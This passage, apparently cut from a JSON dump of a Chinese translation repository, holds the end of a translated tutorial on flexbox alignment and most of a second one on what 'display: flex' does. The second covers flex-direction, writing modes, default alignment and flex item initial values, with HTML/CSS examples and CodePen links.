Helvetica, Arial, sans-serif;\n}\n\n* {box-sizing: border-box;}\n\np {\n  margin: 0 0 1em 0;\n}\n\n.container {  \n  border: 5px solid rgb(111,41,97);\n  border-radius: .5em;\n  padding: 10px;\n  display: flex;\n  height: 40vh;\n  align-items: center;\n}\n\n.item {\n  padding: 10px;\n  background-color: rgba(111,41,97,.3);\n  border: 2px solid rgba(111,41,97,.5);\n}\n\n.item:first-child {\n  align-self: flex-end;\n}\n\n.item:last-child {\n  align-self: stretch;\n}\n```\n\n可以看由 Rachel Andrew ([@rachelandrew](https://codepen.io/rachelandrew)) 创建的在 [CodePen](https://codepen.io) 上的展示： [Smashing Flexbox Series 2: align-self](https://codepen.io/rachelandrew/pen/KBbLmz) \n\n### 为什么没有 `justify-self`？\n\n一个很常见的问题是为什么不能在主轴上排列单个元素或元素组？ 为什么在主轴上没有 `-self` 排列属性？如果你认为 `justify-content` 和 `align-content` 的作用是关于空余空间分布的，那么它们没有单独的排列方法的理由就显而易见了。我们将flex 子元素作为一整个组进行处理，并以某种方式分配可用空间——在组的开头及结尾或 flex 子元素之间。\n\n想想 `justify-content` 和 `align-content` 在 CSS Gird 布局中如何起作用也是很有帮助的。这两个属性用于描述在 gird 容器和 gird 块之间的空余空间如何分配。再次地，我们将 gird 块当作一个组，然后这些属性决定他们之间的所有额外空间。正如我们在 Gird 和 Flexbox 中展示的作用那样，我们不能指定某一个元素去做一些不一样的事情。不过，有一个方法可以实现你想要的在主轴上类似 `self` 属性的布局，那就是使用自动外边距。\n\n#### 在主轴上使用自动外边距\n\n如果你曾经在 CSS 中将一个块级元素居中（就像将页面主元素的容器通过将它的左右外边距设置为 `auto ` ），那么你就已经有了如何设置自动外边距的经验了。当一个外边距的值设置为 auto 时，它（外边距）会尽可能地尝试在其所指的方向上变大。在使用外边距将一个块级元素居中时，我们将其左右的外边距都设置为了 auto；它们（左右外边距）都会尽可能地占据空间于是就将块级元素挤到了中间。\n\n在 Flexbox 中使用自动外边距来排列主轴上的单个元素或者一组元素的效果非常好。在下面的例子中，我们实现了一个共同的设计模式。我有一个使用 Flexbox 的导航栏，其子元素以行的形式排列同时使用了默认值 `justify-content: start`。我想让最后的那个子元素和其它子元素分开并展示在 flex 排列行的最后面——假设该行有足够的空间。\n\n我定位到了那个元素并且把它的 margin-left 属性设置成了 auto。这意味着它的外边距将会尽可能地占用它左边的空间，这意味着那个子元素被推到了最右边。\n\nHTML:\n\n```html\n<div class=\"container\" id=\"container\">\n  <div class=\"item\">One</div>\n  <div class=\"item\">Two Two</div>\n  <div class=\"item push\">Three Three Three</div>\n</div>\n```\n\nCSS:\n\n```css\nbody {\n  padding: 20px;\n  font: 1em Helvetica Neue, Helvetica, Arial, sans-serif;\n}\n\n* {box-sizing: border-box;}\n\np {\n  margin: 0 0 1em 0;\n}\n\n.container {  \n  border: 5px solid rgb(111,41,97);\n  border-radius: .5em;\n  padding: 10px;\n  display: flex;\n}\n\n.item {\n  padding: 10px;\n  background-color: rgba(111,41,97,.3);\n  border: 2px solid rgba(111,41,97,.5);\n}\n\n\n.push {\n  margin-left: auto;\n}\n```\n\n可以看由 Rachel Andrew ([@rachelandrew](https://codepen.io/rachelandrew)) 创建的在 [CodePen](https://codepen.io) 上的展示： [Smashing Flexbox Series 2: alignment with auto margins](https://codepen.io/rachelandrew/pen/oMJROm) \n\n如果你在主轴上使用了自动外边距，那 `justify-content` 将不会有任何作用，因为自动外边距将会占据所有之前用在 `justify-content` 上的空间。\n\n### 回退排列\n\n每一个排列方法详细来说都会有一个回退排列，它会说明在你请求的排列方式无法实现时会发生什么。举个例子，如果在你的 flex 容器中只有一个子元素但你声明了 `justify-content: space-between`，会发生什么？答案是（该属性的）回退排列 `flex-start` 会让你唯一的那个子元素排列在 flex 容器的开始之处。对于\t`justify-content: space-around`，回退排列 `center` 将会被使用。\n\n在现在的规范中你不能改变回退排列的值，所以如果你希望 `space-between` 的回退值是 `center` 而不是 `flex-start` 的话，并没有方法能实现。这是 [一份规范笔记](https://www.w3.org/TR/css-align-3/#distribution-values)，它描述了未来版本可能会支持这种方式。\n\n### 安全和非安全的排列\n\n最新的一个添加到盒子元素排列规范的是使用 *safe* 和 *unsafe* 关键词的关于安全和非安全的排列的概念。\n\n看下面的代码，最后一个元素相较于容器太宽了同时是 unsafe 排列并且 flex 容器是在页面左边的，当子元素溢出界面之外时，其被裁减了。\n\n```\n.container {  \n    display: flex;\n    flex-direction: column;\n    width: 100px;\n    align-items: unsafe center;\n}\n\n.item:last-child {\n    width: 200px;\n}\n```\n\n[![The overflowing item is centered and partly cut off](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/54359e1a-e4e4-445a-8fcc-e4ef59591bad/unsafe-alignment.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/54359e1a-e4e4-445a-8fcc-e4ef59591bad/unsafe-alignment.png) \n\n不安全的排列将会按照你定义的排列但可能导致界面数据丢失（[放大预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/54359e1a-e4e4-445a-8fcc-e4ef59591bad/unsafe-alignment.png)）\n\n安全的排列将会保护界面数据免于丢失，方式是通过重新移动溢出区间到其他地方：\n\n```\n.container {  \n    display: flex;\n    flex-direction: column;\n    width: 100px;\n    align-items: safe center;\n}\n\n.item:last-child {\n    width: 200px;\n}\n```\n\n[![The overflowing item overflows to the right](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/7e31128f-cc18-430d-aa06-9a5307021d0c/safe-alignment.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/7e31128f-cc18-430d-aa06-9a5307021d0c/safe-alignment.png) \n\n安全的排列会尝试避免数据丢失（[放大预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/7e31128f-cc18-430d-aa06-9a5307021d0c/safe-alignment.png)）\n\n这些关键词现在还很少有浏览器支持（译者注：自测 Chrome 69 已支持），不过，它展示了在盒子元素排列规范中带给了 Flexbox 额外的控制方式。\n\nHTML:\n\n```html\n<div class=\"container\" id=\"container\">\n  <div class=\"item\">One</div>\n  <div class=\"item\">Two Two</div>\n  <div class=\"item\">Three Three Three</div>\n</div>\n```\n\nCSS:\n\n```css\nbody {\n  padding: 20px;\n  font: 1em Helvetica Neue, Helvetica, Arial, sans-serif;\n}\n\n* {box-sizing: border-box;}\n\np {\n  margin: 0 0 1em 0;\n}\n\n.container {  \n  border: 5px solid rgb(111,41,97);\n  border-radius: .5em;\n  padding: 10px;\n  display: flex;\n  flex-direction: column;\n  width: 100px;\n  align-items: safe center;\n}\n\n.item {\n  padding: 10px;\n  background-color: rgba(111,41,97,.3);\n  border: 2px solid rgba(111,41,97,.5);\n}\n\n.item:last-child {\n  width: 200px;\n}\n```\n\n可以看由 Rachel Andrew ([@rachelandrew](https://codepen.io/rachelandrew)) 创建的在 [CodePen](https://codepen.io) 上的展示： [Smashing Flexbox Series 2: safe or unsafe alignment](https://codepen.io/rachelandrew/pen/zLyVmQ)\n\n### 总结\n\nFlexbox 的排列属性最初以列表的方式出现，但是现在它们有了自己的规范同时也适用于其它的布局环境。这里是一些小知识可能帮助你如何在 Flexbox 中使用它们：\n\n*   `justify-` 适用于主轴，`align-` 适用于交叉轴；\n*   使用 `align-content` 和 `justify-content` 时你需要空余空间；\n*   `align-content` 和 `justify-content` 属性面向的是子元素组、作用是分享空间。因此，你不能指定一个特定的子元素同时它们也没有对应 `-self` 排列属性；\n*   如果你想去排列一个子元素，或者在主轴上分离出一个组，请用自动外边距实现；\n*   `align-items` 属性设置了整个子元素组的所有 `align-self` 值。可以通过设置 `align-self` 属性来设置一个特定的子元素。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/flexbox-display-flex-container.md",
    "content": "> * 原文地址：[What Happens When You Create A Flexbox Flex Container?](https://www.smashingmagazine.com/2018/08/flexbox-display-flex-container/)\n> * 原文作者：[Rachel Andrew](https://www.smashingmagazine.com/author/rachel-andrew)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/flexbox-display-flex-container.md](https://github.com/xitu/gold-miner/blob/master/TODO1/flexbox-display-flex-container.md)\n> * 译者：[linxuesia](https://github.com/linxuesia)\n> * 校对者：[tian-li](https://github.com/tian-li), [Moonliujk](https://github.com/Moonliujk)\n\n# 当你创建 Flexbox 布局时，都发生了什么\n\n**快速简介：** 在我的理想世界里，CSS Grid 和 Flexbox 应当作为一个整体一起出现，才能组成完整的网页布局系统。然而，我们先有了 Flexbox 属性，因为它比浮动（floats）更适合用来做网格布局，所以出现了很多以 Flexbox 为基础的网格布局系统。事实上，很多人觉得 Flexbox 弹性布局令人困扰或者难以理解，都是因为尝试把它作为网格布局的方法。\n\n在接下来的一系列文章里面，我会花一点时间来详细讲解 Flexbox 弹性布局 —— 以之前我用来理解 grid 属性的方式。我们一起看看 Flexbox 设计是为了什么，它擅长处理什么，以及我们为什么不选择它作为布局的方法。在这篇文章中，我们会详细看一下，当你在样式表添加 `display: flex` 的时候，究竟会发生什么。\n\n### 一个 Flex 容器，拜托了！\n\n为了使用 Flexbox 布局，你需要一个元素作为 flex 容器，在 CSS 中，使用 `display: flex`：\n\nHTML:\n\n```html\n<div class=\"container\">\n  <div class=\"item\">1</div>\n  <div class=\"item\">2</div>\n  <div class=\"item\">3</div>\n</div>\n```\n\nCSS:\n\n```css\nbody {\n  padding: 20px;\n  font: 1em Helvetica Neue, Helvetica, Arial, sans-serif;\n}\n\n* {box-sizing: border-box;}\n\np {\n  margin: 0 0 1em 0;\n}\n\n.container {  \n  border: 5px solid rgb(111,41,97);\n  border-radius: .5em;\n  padding: 10px;\n  display: flex;\n  flex-direction: row-reverse;\n}\n\n.item {\n  width: 100px;\n  height: 100px;\n  padding: 10px;\n  background-color: rgba(111,41,97,.3);\n  border: 2px solid rgba(111,41,97,.5);\n}\n```\n\n请看 Rachel Andrew（[@rachelandrew](https://codepen.io/rachelandrew)）在 [CodePen](https://codepen.io) 上的这个例子：[Smashing Flexbox Series 1: display: flex;](https://codepen.io/rachelandrew/pen/PBRGQO)。\n\n让我们花一点点时间来思考一下到底 `display: flex` 意味着什么。在 [Display Module Level 3](https://www.w3.org/TR/css-display-3/) 中，display 的每一个值都由两个部分构成：内部显示模式和外部显示模式。当我们使用 `display: flex` 时，我们其实定义的是 `display: block flex`。flex 容器的外部显示模式是 `block`，它在文档流中显示为正常的块级元素。内部显示模式是 `flex`，所以在容器内部的直接子元素按照弹性布局来排列。\n\n可能你之前没仔细想过，但其实已经知道了。flex 容器在页面中和其他块级元素的表现一样。如果你在 flex 容器后面紧跟一个段落，它们两个都会表现为正常的块级元素。\n\n我们也可以把容器的属性设置为 `inline-flex`，就和设置成 `display:inline flex` 一样。比如说有一个行内级别的 flex 容器，容器里还有一些参与 flex 布局的子元素。这个 flex 容器内的子元素的表现就和块级 flex 容器内的子元素表现一样，不同之处就在于容器本身在整体布局中的表现。\n\nHTML:\n\n```html\n<div class=\"container\">\n  <div class=\"item\">1</div>\n  <div class=\"item\">2</div>\n  <div class=\"item\">3</div>\n</div>\n\n<em>这个 flex 容器是行内元素，所以另一个行内元素会紧跟它后面显示。</em>\n```\n\nCSS:\n\n```css\nbody {\n  padding: 20px;\n  font: 1em Helvetica Neue, Helvetica, Arial, sans-serif;\n}\n\n* {box-sizing: border-box;}\n\np {\n  margin: 0 0 1em 0;\n}\n\n.container {  \n  border: 5px solid rgb(111,41,97);\n  border-radius: .5em;\n  padding: 10px;\n  display: inline-flex;\n}\n\n.item {\n  width: 100px;\n  height: 100px;\n  padding: 10px;\n  background-color: rgba(111,41,97,.3);\n  border: 2px solid rgba(111,41,97,.5);\n}\n```\n\n请看 Rachel Andrew（[@rachelandrew](https://codepen.io/rachelandrew)）在 [CodePen](https://codepen.io) 上的这个例子：[Smashing Flexbox Series 1: display: inline-flex;](https://codepen.io/rachelandrew/pen/YjaGvZ)。\n\n元素的外部显示模式决定了它作为盒模型在页面中怎样显示，同时与内部显示模式一起，决定了其子元素的行为。这是一个很有用的思想。你可以把这种思想应用于任何 CSS 定义的盒模型。这个元素将会如何表现？它的子元素又会怎样表现？这些问题的答案就与它们的内部显示模式和外部显示模式有关。\n\n### 行或者列？\n\n一旦我们定义了 flex 容器之后，一些默认值就开始发挥作用了。在我们没有添加任何其他属性的情况下，flex 子项目（flex item）会按照行来排列。这是因为  `flex-direction` 属性的默认值就是 `row`。如果你不对它进行设置，它就会按照行的方向来显示。`flex-direction` 属性是用来设置主轴（main axis）的排列方向，这个属性还有其他的值：\n\n*   `column`\n*   `row-reverse`\n*   `column-reverse`\n\n当子项目排成一行的时候，子项目会按照在文档中的顺序，从行内维度的起始边缘依次排列。在规范中，这个边缘就被叫做 `main-start`。\n\n[![main-start 是一行的开始](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/ab7497e5-90a0-4073-bc37-12842297a090/row-main-start.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/ab7497e5-90a0-4073-bc37-12842297a090/row-main-start.png)\n\n`main-start` 是行内维度的起始位置（[Large preview](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/ab7497e5-90a0-4073-bc37-12842297a090/row-main-start.png)）。\n\n如果我们使用 `column`，子项目从块级维度的起始边缘开始排列，因此构成一列。\n\n[![子项目按照列来排列，main-start 位于顶部](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/480a9d24-8038-4946-aa9b-752d580df4db/column-main-start.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/480a9d24-8038-4946-aa9b-752d580df4db/column-main-start.png)\n\n`main-start` 是块级维度的起始位置（[Large preview](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/480a9d24-8038-4946-aa9b-752d580df4db/column-main-start.png)）。\n\n当我们使用 `row-reverse` 时，`main-start` 和 `main-end` 的位置互换了，因此，子项目也会相应的按照相反的顺序来排列。\n\n[![子项目从行的末尾开始排列](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/2a1852ed-c713-49b8-93ca-b9e295b4b8ff/row-reverse-main-start.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/2a1852ed-c713-49b8-93ca-b9e295b4b8ff/row-reverse-main-start.png)\n\n`main-start` 在内联维度的末尾（[Large preview](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/2a1852ed-c713-49b8-93ca-b9e295b4b8ff/row-reverse-main-start.png)）。\n\n`column-reverse` 也具有一样的效果。另外还有一点很重要，那就是这些值并不会“改变子项目的顺序”，尽管它们看起来是这样的效果，它们改变的是这些子项目开始排列的位置：通过改变 `main-start` 来达到目的。所以我们的子项目会按照相反的方向来排列，这仅仅是因为它是从容器的结束位置开始排列的。\n\n另外还有一件很重要的事情要记住，当排列顺序发生改变时，这仅仅是视觉上的，因为我们要求子项目从结束位置开始排列。它们在文档中仍然是原来的顺序，当你使用屏幕阅读器的时候仍然是按照源文档的顺序进行索引。如果你真的想要改变子元素的顺序，不应该使用 `row-reverse`，而是直接在文档源中去改变子项目的顺序。\n\n### Flexbox 的两条轴线\n\n我们已经讲解了 flexbox 的一个重要特性：能够将主轴（main axis）的方向从行切换为列。这种轴的方向切换，就是为什么我常常认为网格布局中的对齐更容易理解的原因。因为在网格布局中，在两个方向上你都可以采用几乎相同的方式来实现对齐。而对于弹性布局来说会更麻烦点，因为在主轴（main axis）和交叉轴（cross axis）上，子项目的表现是不太相同的。\n\n我们已经了解了主轴（main axis），即你用 `flex-direction` 属性的值来定义的那根轴线。交叉轴（cross axis）则在另一个方向上。如果你设置 `flex-direction: row`，那么你的主轴（main axis）是沿着行的方向，你的交叉轴（cross axis）是沿着列的方向。如果设置 `flex-direction: column`，主轴（main axis）是沿着列的方向，交叉轴(cross axis)是沿着行的方向。在这里我们就需要讨论 flexbox 的另外一个重要特点，那就是它与屏幕的物理方向无关。我们不讨论从左到右方向的行，或从上到下方向的列，因为情况并非总是如此。\n\n#### 书写模式\n\n当我在上文中描述行和列的时候，我提到了块级和行内的维度 **dimensions**。这篇文章是用英文写的，它是水平的书写模式。这就意味着当你要 Flexbox 显示一行时，子项目会水平的展示。在这个例子中，`main-start` 位于左边 —— 也就是英文书写模式中中句子开始的位置。\n\n如果我使用的是从右到左书写的语言，比如阿拉伯语的话，起始位置就会位于右边：\n\nHTML:\n\n```html\n<div class=\"container\">\n  <div class=\"item\">1</div>\n  <div class=\"item\">2</div>\n  <div class=\"item\">3</div>\n</div>\n```\n\nCSS:\n\n```css\nbody {\n  padding: 20px;\n  font: 1em Helvetica Neue, Helvetica, Arial, sans-serif;\n}\n\n* {box-sizing: border-box;}\n\np {\n  margin: 0 0 1em 0;\n}\n\n.container {  \n  border: 5px solid rgb(111,41,97);\n  border-radius: .5em;\n  padding: 10px;\n  display: flex;\n  flex-direction: row;\n  direction: rtl;\n}\n\n.item {\n  width: 100px;\n  height: 100px;\n  padding: 10px;\n  background-color: rgba(111,41,97,.3);\n  border: 2px solid rgba(111,41,97,.5);\n}\n```\n\n请看 Rachel Andrew（[@rachelandrew](https://codepen.io/rachelandrew)）在 [CodePen](https://codepen.io) 上的这个例子：[Smashing Flexbox Series 1: row with rtl text](https://codepen.io/rachelandrew/pen/JBLEdZ)。\n\nflexbox 的初始值意味着，如果我所做的只是创建一个 flex 容器，我的子项目将会从右侧开始显示，并且向左排列。**内联方向的起始位置是你正在使用的书写模式中句子开始的位置**。\n\n如果你使用垂直书写模式并且使用的默认排列方向（这里指 flex-direction: row），此时的行就会是垂直方向的，因为这就是垂直书写方式语言排列行的方式。你可以尝试为 flex 容器设置 `writing-mode` 属性，把值设置为 `vertical-lr`。现在，你再把 `flex-direction` 设置为 `row`，子项目就会排成垂直的一列了。\n\nHTML:\n\n```html\n<div class=\"container\">\n  <div class=\"item\">1</div>\n  <div class=\"item\">2</div>\n  <div class=\"item\">3</div>\n</div>\n```\n\nCSS:\n\n```css\nbody {\n  padding: 20px;\n  font: 1em Helvetica Neue, Helvetica, Arial, sans-serif;\n}\n\n* {box-sizing: border-box;}\n\np {\n  margin: 0 0 1em 0;\n}\n\n.container {  \n  border: 5px solid rgb(111,41,97);\n  border-radius: .5em;\n  padding: 10px;\n  display: flex;\n  flex-direction: row;\n  writing-mode: vertical-lr;\n}\n\n.item {\n  width: 100px;\n  height: 100px;\n  padding: 10px;\n  background-color: rgba(111,41,97,.3);\n  border: 2px solid rgba(111,41,97,.5);\n}\n```\n\n请看 Rachel Andrew（[@rachelandrew](https://codepen.io/rachelandrew)）在 [CodePen](https://codepen.io) 上的这个例子：[Smashing Flexbox Series 1: row with a vertical writing mode](https://codepen.io/rachelandrew/pen/oMqBXa)。\n\n所以，一行可以水平的排列，`main-start` 位于左侧或者右侧，也可以垂直排列，`main-start` 位于顶部。即使我们的思维习惯了横向排列的文本，很难想象一行垂直排列的文本，但它的 `flex-direction` 属性的值仍然是 `row`！\n\n为了让子项目按照块级维度进行排列，我们可以把 `flex-direction` 的值设置成 `column` 或者 `column-reverse`。在英语（或者阿拉伯语）这样的水平书写模式里，子项目会从容器顶部开始按照垂直方向排列。\n\n在垂直书写模式中，块级方向横跨整个页面，这也是这种书写模式下块级元素的排列方向。如果你将一列设置为 `vertical-lr`，那么这些块级元素会从左到右进行排列（内部的文本方向仍为垂直排列）。\n\nHTML:\n\n```html\n<div class=\"container\">\n  <div class=\"item\">1</div>\n  <div class=\"item\">2</div>\n  <div class=\"item\">3</div>\n</div>\n```\n\nCSS:\n\n```css\nbody {\n  padding: 20px;\n  font: 1em Helvetica Neue, Helvetica, Arial, sans-serif;\n}\n\n* {box-sizing: border-box;}\n\np {\n  margin: 0 0 1em 0;\n}\n\n.container {  \n  border: 5px solid rgb(111,41,97);\n  border-radius: .5em;\n  padding: 10px;\n  display: flex;\n  flex-direction: column;\n  writing-mode: vertical-lr;\n}\n\n.item {\n  width: 100px;\n  height: 100px;\n  padding: 10px;\n  background-color: rgba(111,41,97,.3);\n  border: 2px solid rgba(111,41,97,.5);\n}\n```\n\n请看 Rachel Andrew（[@rachelandrew](https://codepen.io/rachelandrew)）在 [CodePen](https://codepen.io) 上的这个例子：[Smashing Flexbox Series 1: column in vertical-lr writing mode](https://codepen.io/rachelandrew/pen/yqKgeb) 。\n\n但是，无论块级元素怎么显示，只要你使用的是 `column` 方向，那么元素始终处在块级维度之中。\n\n了解一行或者一列能够在不同的物理方向上运行，有助于我们理解网格布局和弹性布局中的一些术语。在网格布局和弹性布局中，并不会使用『左和右』、『上和下』这样的方向，因为我们并不会指定文档的书写模式。现在所有的 CSS 都变的更注重书写模式了。如果你对其他已经支持这种方向差异的 CSS 属性和值有兴趣的话，可以读一下我的这篇文章 [Logical Properties and Values](https://www.smashingmagazine.com/2018/03/understanding-logical-properties-values/)。\n\n总结一下，记住：\n\n*   **flex-direction: row**\n\n    *   主轴 = 行内维度\n    *   `main-start` 位于当前书写模式下句子开头的位置\n    *   交叉轴 = 块级维度\n*   **flex-direction: column**\n\n    *   主轴 = 块级维度\n    *   `main-start` 位于当前书写模式下块级元素的开头位置\n    *   交叉轴 = 行内维度\n\n### 默认对齐方式\n\n当我们设置 `display: flex` 时，还会发生一些事情，默认的对齐方式会发挥作用。在该系列的其他文章中，我们会好好地了解一下对齐方式。但是，我们现在在探索 `display: flex` 的时候，也应该看一下这些发挥作用的默认值。\n\n**注意**：**值得注意的是，尽管这些对齐属性始于 Flexbox 规范，但 Box Alignment（盒模型对齐）会最终覆盖 Flexbox 规范的相关内容，如 [flexbox 规范](https://www.w3.org/TR/css-flexbox-1/#alignment)中所述。**\n\n#### 主轴对齐方式\n\n`justify-content` 属性的默认值是 `flex-start`，就像我们的 CSS 写的那样：\n\n```\n.container {\n    display: flex;\n    justify-content: flex-start;\n}\n```\n\n这就是我们的 flex 子项目（flex item）从 flex 容器的起始边缘开始排列的原因。同样也是当我们设置 `row-reverse` 时，它们变为从结束边缘开始排列的原因，因为那个边缘变成了主轴（main axis）的起点。\n\n当你看见对齐属性以 `justify-` 开头时，这个属性就是作用于主轴（main axis）的。也就是说 `justify-content` 属性规定主轴（main axis）的对齐方式，并将子项目从起始边缘对齐。\n\n`justify-content` 还有其他的值：\n\n*   `flex-end`\n*   `center`\n*   `space-around`\n*   `space-between`\n*   `space-evenly`（在块级对齐方式中添加）\n\n这些值用来处理 flex 容器中剩余空间的分布。这就是子项目间会发生移动或者说相互分隔的原因了。如果你添加属性 `justify-content: space-between`，剩余空间被平均分配给子项目。当然，这只有在容器有剩余空间的情况下才会发生。如果你的 flex 容器被全部充满了（子项目排列完后，没有任何剩余空间），那么设置  `justify-content` 属性不会产生任何效果。\n\n你可以把 `flex-direction` 设置成 `column`。因为 flex 容器在没有高度的情况下不会有剩余空间，所以设置 `justify-content: space-between` 不会发生变化。如果你把容器设置成比展示所需要的高度更高的话，那么这个属性就会发挥作用了：\n\nHTML:\n\n```html\n<div class=\"container\">\n  <div class=\"item\">1</div>\n  <div class=\"item\">2</div>\n  <div class=\"item\">3</div>\n</div>\n```\n\nCSS:\n\n```css\nbody {\n  padding: 20px;\n  font: 1em Helvetica Neue, Helvetica, Arial, sans-serif;\n}\n\n* {box-sizing: border-box;}\n\np {\n  margin: 0 0 1em 0;\n}\n\n.container {  \n  border: 5px solid rgb(111,41,97);\n  border-radius: .5em;\n  padding: 10px;\n  display: flex;\n  flex-direction: column;\n  justify-content: space-between;\n  height: 500px;\n}\n\n.item {\n  width: 100px;\n  height: 100px;\n  padding: 10px;\n  background-color: rgba(111,41,97,.3);\n  border: 2px solid rgba(111,41,97,.5);\n}\n```\n请看 Rachel Andrew（[@rachelandrew](https://codepen.io/rachelandrew)）在 [CodePen](https://codepen.io) 上的这个例子：[Smashing Flexbox Series 1: column with a height](https://codepen.io/rachelandrew/pen/wxmgrW)。\n\n#### 交叉轴的对齐方式\n\n子项目在单一交叉轴的 flex 容器中也会沿着这根交叉轴对齐。这里执行的对齐是子项目沿着交叉轴相互对齐。在接下来的这个例子中，有一个子项目比其他项占据更高的空间，然后其他的子项目会按照某种规范来拉伸到与它相同的高度，这个规范就是 `align-items` 属性，因为它的初始值就是 `stretch`：\n\nHTML:\n\n```html\n<div class=\"container\">\n  <div class=\"item\">One</div>\n  <div class=\"item\">Two</div>\n  <div class=\"item\">\n    <ul>\n    <li>Three: a</li>\n    <li>Three: b</li>\n    <li>Three: c</li>\n    </ul>\n    </div>\n</div>\n```\n\nCSS:\n\n```css\nbody {\n  padding: 20px;\n  font: 1em Helvetica Neue, Helvetica, Arial, sans-serif;\n}\n\n* {box-sizing: border-box;}\n\np {\n  margin: 0 0 1em 0;\n}\n\n.container {  \n  border: 5px solid rgb(111,41,97);\n  border-radius: .5em;\n  padding: 10px;\n  display: flex;\n}\n\n.item {\n  padding: 10px;\n  background-color: rgba(111,41,97,.3);\n  border: 2px solid rgba(111,41,97,.5);\n}\n\n.item ul {\n  margin: 0;\n  padding: 0;\n  list-style: none;\n}\n```\n请看 Rachel Andrew（[@rachelandrew](https://codepen.io/rachelandrew)）在 [CodePen](https://codepen.io) 上的这个例子：[Smashing Guide to Layout: clearfix](https://codepen.io/rachelandrew/pen/GBxryJ)。\n\n当你在 flex 布局中看到有一个属性是以 `align-` 开头的，那个就是交叉轴的对齐方式，`align-items` 属性规定子项目在沿着交叉轴方向上的对齐方式，这个属性的其他的值包括：\n\n*   `flex-start`\n*   `flex-end`\n*   `center`\n*   `baseline`\n\n如果你不想其他的子项目跟拉伸到跟最高的那一项一样高的话，设置 `align-items: flex-start`，它会把子项目都沿着交叉轴的起始位置对齐。\n\nHTML:\n\n```html\n<div class=\"container\">\n  <div class=\"item\">One</div>\n  <div class=\"item\">Two</div>\n  <div class=\"item\">\n    <ul>\n    <li>Three: a</li>\n    <li>Three: b</li>\n    <li>Three: c</li>\n    </ul>\n    </div>\n</div>\n```\n\nCSS:\n\n```css\nbody {\n  padding: 20px;\n  font: 1em Helvetica Neue, Helvetica, Arial, sans-serif;\n}\n\n* {box-sizing: border-box;}\n\np {\n  margin: 0 0 1em 0;\n}\n\n.container {  \n  border: 5px solid rgb(111,41,97);\n  border-radius: .5em;\n  padding: 10px;\n  display: flex;\n  align-items: flex-start;\n}\n\n.item {\n  padding: 10px;\n  background-color: rgba(111,41,97,.3);\n  border: 2px solid rgba(111,41,97,.5);\n}\n\n.item ul {\n  margin: 0;\n  padding: 0;\n  list-style: none;\n}\n```\n请看 Rachel Andrew（[@rachelandrew](https://codepen.io/rachelandrew)）在 [CodePen](https://codepen.io) 上的这个例子：[Smashing Flexbox Series 1: align-items: flex-start](https://codepen.io/rachelandrew/pen/RBMKyN)。\n\n### flex 子项目的初始值\n\n终于说到这里了，flex 子项目（flex item）也是有初始值的，它们包括：\n\n*   `flex-grow: 0`\n*   `flex-shrink: 1`\n*   `flex-basis: auto`\n\n这意味我们的子项目（flex item）在默认情况下不会自动充满主轴上的剩余空间。如果 `flex-grow` 被设置成一个正数，才会导致子项目拉伸并占据剩余空间。\n\n这些子项目（flex item）同样可以收缩。默认情况下，`flex-shrink` 的值被设置成了 1。这就意味着，如果我们的 flex 容器非常小，那么其中的子元素在溢出容器之前就会自动的缩小以适应容器大小。这是一个非常灵活的属性。总的来说就是，子项目在容器没有足够空间去排列的情况下依然能保持在容器之内，并且不会溢出。\n\n为了在默认情况下获得最好的展示效果，`flex-basis` 属性的默认值被设置成 `auto`，我们会在这个系列的其他文章中好好了解这代表什么。现在，你只需要将 `auto` 理解为『大到足够适应容器』就行了。在这种情况下，当 flex 容器中有一些子项目，其中的一个子项目相较于其他包含更多的内容，那么它会被分配更多的空间。\n\nHTML:\n\n```html\n<div class=\"container\">\n  <div class=\"item\">Two words</div>\n  <div class=\"item\">Now three words</div>\n  <div class=\"item\">\n    This flex item has a lot of content and so it is going to need more space in the flex container.\n    